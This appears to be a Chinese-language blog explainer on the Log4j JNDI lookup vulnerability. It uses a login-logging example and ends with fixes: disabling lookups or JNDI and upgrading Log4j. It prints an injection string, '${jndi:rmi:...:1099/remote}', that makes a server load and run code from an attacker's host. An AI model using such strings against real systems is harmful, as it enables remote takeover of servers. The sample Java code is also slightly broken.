核彈級bug Log4j,相信很多人都有所耳聞了,這兩天很多讀者都在問我關於這個bug的原理等一些問題,今天我們們就專門寫一篇文章,一起聊一聊這個核彈級別的bug的產生原理以及怎麼防止
產生原因
其實這個主要的原因,和日誌有關,日誌是應用軟體中不可缺少的部分,Apache的開源專案log4j是一個功能強大的日誌元件,提供方便的日誌記錄。
最簡單的日誌列印
我們看如下場景: 這個場景大家應該很熟悉了,就是使用者登入,我們們今天不用關心登入是怎麼實現的,只用關心使用者名稱name欄位就可以了,程式碼如下
public void login(string name){
String name = "test"; //表單接收name欄位
logger.info("{},登入了", name); //logger為log4j
}
很簡單,使用者如果登陸了,我們通過表單接收到相關name欄位,然後在日誌中記錄上這麼一條記錄。
這個看起來是很常規的操作了,記錄日誌為什麼會導致bug呢?不要著急,我們接下來往下看。
lookup支援列印系統變數
name變數是使用者輸入的,使用者輸入什麼都可以,上面的例子是字串test,那麼使用者可以輸入別的內容麼?
public void login(string name){
String name = "{$java:os}"; //使用者輸入的name內容為 {$java:os}
logger.info("{},登入了", name); //logger為log4j
}
如果使用者在使用者名稱輸入框輸入{$java:os},那麼日誌中記錄的會是系統相關的資訊,上述程式碼會輸出
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登入了
為什麼會產生這種奇怪的現象呢?
是因為log4j提供了一個lookup的功能,對lookup功能不熟悉的同學也沒有關係,你知道有這麼個方法,可以把一些系統變數放到日誌中就可以了,如下圖
比較敏銳的同學可能已經開始察覺到了,現在越來越像sql注入了。
JNDI介紹
很多同學可能對JNDI不是很瞭解,不過沒關係,我用最通俗的話來解釋 其實就是你自己做一個服務,比如是
jndi:rmi:192.168.9.23:1099/remote
如果被攻擊的伺服器,比如某臺線上的伺服器,訪問了或者執行了,你自己的JNDI服務,「那麼線上的伺服器就會來執行JNDI服務中的remote方法的程式碼」。如果不是很清楚,沒關係,下面有張圖
大家還記得我們今天的主角log4j麼? 如果使用者直接在使用者名稱輸入框輸入JNDI的服務地址
public void login(string name){
String name = "${jndi:rmi:192.168.9.23:1099/remote}"; //使用者輸入的name內容為 jndi相關資訊
logger.info("{},登入了", name);
}
那麼只要是你用log4j來列印這麼一條日誌,那麼log4j就會去執行 jndi:rmi:192.168.9.23:1099/remote 服務,那麼在黑客的電腦上就可以對線上服務做任何操作了,
大家想象一下,一個不是你公司的人,卻可以在你們公司線上伺服器做任何操作,這該是多麼的可怕。
解決方式
其實如果你瞭解了這個原理那麼解決方式也就一目瞭然了,
禁用lookup或JNDI服務
罪魁禍首就是lookup和JNDI,那麼直接修改配置檔案log4j2.formatMsgNoLookups=True或禁用JNDI服務,不過一般產生問題的服務都是線上已經在跑的服務,禁用的時候要注意評估一下是否允許。
升級Apache Log4j
這次產生的影響範圍主要是在Apache Log4j 2.x <= 2.14.1 ,所以直接把Log4j升級即可解決。